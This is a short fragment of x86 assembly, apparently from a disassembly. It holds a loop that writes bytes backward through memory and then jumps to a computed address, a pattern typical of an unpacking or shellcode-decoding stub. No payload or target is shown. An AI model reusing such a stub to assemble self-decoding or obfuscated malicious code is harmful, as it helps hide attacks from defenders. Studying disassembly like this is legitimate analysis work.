mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx